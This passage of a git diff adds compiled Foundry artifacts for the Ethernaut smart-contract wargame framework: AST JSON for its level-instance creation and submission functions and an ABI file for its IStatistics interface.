Level"}],"id":48999,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2129:7:38","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":48998,"name":"address","nodeType":"ElementaryTypeName","src":"2129:7:38","typeDescriptions":{}}},"id":49001,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2129:15:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":49002,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2146:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49003,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2150:6:38","memberName":"sender","nodeType":"MemberAccess","src":"2146:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":48994,"name":"statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48882,"src":"2090:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"}},"id":48996,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2101:17:38","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":48858,"src":"2090:28:38","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":49004,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2090:67:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49005,"nodeType":"ExpressionStatement","src":"2090:67:38"},{"eventCall":{"arguments":[{"expression":{"id":49007,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2244:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49008,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2248:6:38","memberName":"sender","nodeType":"MemberAccess","src":"2244:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":49009,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48973,"src":"2256:8:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":49012,"name":"_level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48959,"src":"2274:6:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"id":49011,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2266:7:38","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49010,"name":"address","nodeType":"ElementaryTypeName","src":"2266:7:38","typeDescriptions":{}}},"id":49013,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2266:15:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"id":49006,"name":"LevelInstanceCreatedLog","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48948,"src":"2220:23:38","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address)"}},"id":49014,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2220:62:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49015,"nodeType":"EmitStatement","src":"2215:67:38"}]},"functionSelector":"dfc86b17","implemented":true,"kind":"function","modifiers":[],"name":"createLevelInstance","nameLocation":"1621:19:38","parameters":{"id":48960,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48959,"mutability":"mutable","name":"_level","nameLocation":"1647:6:38","nodeType":"VariableDeclaration","scope":49017,"src":"1641:12:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},"typeName":{"id":48958,"nodeType":"UserDefinedTypeName","pathNode":{"id":48957,"name":"Level","nameLocations":["1641:5:38"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"1641:5:38"},"referencedDeclaration":55508,"src":"1641:5:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},"visibility":"internal"}],"src":"1640:14:38"},"returnParameters":{"id":48961,"nodeType":"ParameterList","parameters":[],"src":"1670:0:38"},"scope":49101,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":49100,"nodeType":"FunctionDefinition","src":"2295:921:38","nodes":[],"body":{"id":49099,"nodeType":"Block","src":"2358:858:38","nodes":[],"statements":[{"assignments":[49024],"declarations":[{"constant":false,"id":49024,"mutability":"mutable","name":"data","nameLocation":"2429:4:38","nodeType":"VariableDeclaration","scope":49099,"src":"2401:32:38","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData"},"typeName":{"id":49023,"nodeType":"UserDefinedTypeName","pathNode":{"id":49022,"name":"EmittedInstanceData","nameLocations":["2401:19:38"],"nodeType":"IdentifierPath","referencedDeclaration":48935,"src":"2401:19:38"},"referencedDeclaration":48935,"src":"2401:19:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData"}},"visibility":"internal"}],"id":49028,"initialValue":{"baseExpression":{"id":49025,"name":"emittedInstances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48940,"src":"2436:16:38","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_EmittedInstanceData_$48935_storage_$","typeString":"mapping(address => struct Ethernaut.EmittedInstanceData storage ref)"}},"id":49027,"indexExpression":{"id":49026,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49019,"src":"2453:9:38","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2436:27:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage","typeString":"struct Ethernaut.EmittedInstanceData storage ref"}},"nodeType":"VariableDeclarationStatement","src":"2401:62:38"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":49034,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":49030,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49024,"src":"2481:4:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData storage pointer"}},"id":49031,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"2486:6:38","memberName":"player","nodeType":"MemberAccess","referencedDeclaration":48929,"src":"2481:11:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":49032,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2496:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49033,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2500:6:38","memberName":"sender","nodeType":"MemberAccess","src":"2496:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2481:25:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f207468652063757272656e742075736572","id":49035,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2508:50:38","typeDescriptions":{"typeIdentifier":"t_stringliteral_3fc2602a18cef61063c187d4c222a91651cdbd7a144611b2f3ee42205aee6376","typeString":"literal_string \"This instance doesn't belong to the current user\""},"value":"This instance doesn't belong to the current user"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_3fc2602a18cef61063c187d4c222a91651cdbd7a144611b2f3ee42205aee6376","typeString":"literal_string \"This instance doesn't belong to the current user\""}],"id":49029,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2473:7:38","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":49036,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2473:86:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49037,"nodeType":"ExpressionStatement","src":"2473:86:38"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":49042,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":49039,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49024,"src":"2617:4:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData storage pointer"}},"id":49040,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"2622:9:38","memberName":"completed","nodeType":"MemberAccess","referencedDeclaration":48934,"src":"2617:14:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"66616c7365","id":49041,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2635:5:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"2617:23:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4c6576656c20686173206265656e20636f6d706c6574656420616c7265616479","id":49043,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2642:34:38","typeDescriptions":{"typeIdentifier":"t_stringliteral_5dca83cf68fad78343b6244ef171ccb0f8499a3f0c5ff47716078af02a5144fc","typeString":"literal_string \"Level has been completed already\""},"value":"Level has been completed already"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_5dca83cf68fad78343b6244ef171ccb0f8499a3f0c5ff47716078af02a5144fc","typeString":"literal_string \"Level has been completed already\""}],"id":49038,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2609:7:38","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":49044,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2609:68:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49045,"nodeType":"ExpressionStatement","src":"2609:68:38"},{"condition":{"arguments":[{"id":49049,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49019,"src":"2791:9:38","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"expression":{"id":49050,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2802:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49051,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2806:6:38","memberName":"sender","nodeType":"MemberAccess","src":"2802:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"expression":{"id":49046,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49024,"src":"2763:4:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData storage pointer"}},"id":49047,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"2768:5:38","memberName":"level","nodeType":"MemberAccess","referencedDeclaration":48932,"src":"2763:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},"id":49048,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2774:16:38","memberName":"validateInstance","nodeType":"MemberAccess","referencedDeclaration":55507,"src":"2763:27:38","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_payable_$_t_address_$returns$_t_bool_$","typeString":"function (address payable,address) external returns (bool)"}},"id":49052,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2763:50:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":49097,"nodeType":"Block","src":"3117:93:38","statements":[{"expression":{"arguments":[{"id":49087,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49019,"src":"3156:9:38","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"arguments":[{"expression":{"id":49090,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49024,"src":"3175:4:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData storage pointer"}},"id":49091,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"3180:5:38","memberName":"level","nodeType":"MemberAccess","referencedDeclaration":48932,"src":"3175:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"id":49089,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3167:7:38","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49088,"name":"address","nodeType":"ElementaryTypeName","src":"3167:7:38","typeDescriptions":{}}},"id":49092,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3167:19:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":49093,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3188:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49094,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3192:6:38","memberName":"sender","nodeType":"MemberAccess","src":"3188:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":49084,"name":"statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48882,"src":"3131:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"}},"id":49086,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3142:13:38","memberName":"submitFailure","nodeType":"MemberAccess","referencedDeclaration":48867,"src":"3131:24:38","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":49095,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3131:68:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49096,"nodeType":"ExpressionStatement","src":"3131:68:38"}]},"id":49098,"nodeType":"IfStatement","src":"2759:451:38","trueBody":{"id":49083,"nodeType":"Block","src":"2815:296:38","statements":[{"expression":{"id":49057,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":49053,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49024,"src":"2876:4:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData storage pointer"}},"id":49055,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"2881:9:38","memberName":"completed","nodeType":"MemberAccess","referencedDeclaration":48934,"src":"2876:14:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":49056,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2893:4:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"2876:21:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":49058,"nodeType":"ExpressionStatement","src":"2876:21:38"},{"expression":{"arguments":[{"id":49062,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49019,"src":"2937:9:38","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"arguments":[{"expression":{"id":49065,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49024,"src":"2956:4:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData storage pointer"}},"id":49066,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"2961:5:38","memberName":"level","nodeType":"MemberAccess","referencedDeclaration":48932,"src":"2956:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"id":49064,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2948:7:38","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49063,"name":"address","nodeType":"ElementaryTypeName","src":"2948:7:38","typeDescriptions":{}}},"id":49067,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2948:19:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":49068,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2969:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49069,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2973:6:38","memberName":"sender","nodeType":"MemberAccess","src":"2969:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":49059,"name":"statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48882,"src":"2912:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"}},"id":49061,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2923:13:38","memberName":"submitSuccess","nodeType":"MemberAccess","referencedDeclaration":48876,"src":"2912:24:38","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":49070,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2912:68:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49071,"nodeType":"ExpressionStatement","src":"2912:68:38"},{"eventCall":{"arguments":[{"expression":{"id":49073,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3057:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49074,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3061:6:38","memberName":"sender","nodeType":"MemberAccess","src":"3057:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":49075,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49019,"src":"3069:9:38","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"arguments":[{"expression":{"id":49078,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49024,"src":"3088:4:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData storage pointer"}},"id":49079,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"3093:5:38","memberName":"level","nodeType":"MemberAccess","referencedDeclaration":48932,"src":"3088:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"id":49077,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3080:7:38","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49076,"name":"address","nodeType":"ElementaryTypeName","src":"3080:7:38","typeDescriptions":{}}},"id":49080,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3080:19:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"}],"id":49072,"name":"LevelCompletedLog","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48956,"src":"3039:17:38","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address)"}},"id":49081,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3039:61:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49082,"nodeType":"EmitStatement","src":"3034:66:38"}]}}]},"functionSelector":"c882d7c2","implemented":true,"kind":"function","modifiers":[],"name":"submitLevelInstance","nameLocation":"2304:19:38","parameters":{"id":49020,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49019,"mutability":"mutable","name":"_instance","nameLocation":"2340:9:38","nodeType":"VariableDeclaration","scope":49100,"src":"2324:25:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":49018,"name":"address","nodeType":"ElementaryTypeName","src":"2324:15:38","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"}],"src":"2323:27:38"},"returnParameters":{"id":49021,"nodeType":"ParameterList","parameters":[],"src":"2358:0:38"},"scope":49101,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":48878,"name":"Ownable","nameLocations":["512:7:38"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"512:7:38"},"id":48879,"nodeType":"InheritanceSpecifier","src":"512:7:38"}],"canonicalName":"Ethernaut","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49101,46700,48281],"name":"Ethernaut","nameLocation":"499:9:38","scope":49102,"usedErrors":[],"usedEvents":[46601,48948,48956]}],"license":"MIT"},"id":38} \ No newline at end of file diff --git a/contracts/out/Ethernaut.sol/IStatistics.json b/contracts/out/Ethernaut.sol/IStatistics.json new file mode 100644 index 000000000..1b970d4b3 --- /dev/null +++ b/contracts/out/Ethernaut.sol/IStatistics.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createNewInstance","inputs":[{"name":"instance","type":"address","internalType":"address"},{"name":"level","type":"address","internalType":"address"},{"name":"player","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"saveNewLevel","inputs":[{"name":"level","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitFailure","inputs":[{"name":"instance","type":"address","internalType":"address"},{"name":"level","type":"address","internalType":"address"},{"name":"player","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitSuccess","inputs":[{"name":"instance","type":"address","internalType":"address"},{"name":"level","type":"address","internalType":"address"},{"name":"player","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"createNewInstance(address,address,address)":"7e4326d3","saveNewLevel(address)":"cd819a6f","submitFailure(address,address,address)":"d0f191e0","submitSuccess(address,address,address)":"2c038c32"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"createNewInstance\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"saveNewLevel\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"submitFailure\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"}],\"name\":\"submitSuccess\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/Ethernaut.sol\":\"IStatistics\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Conte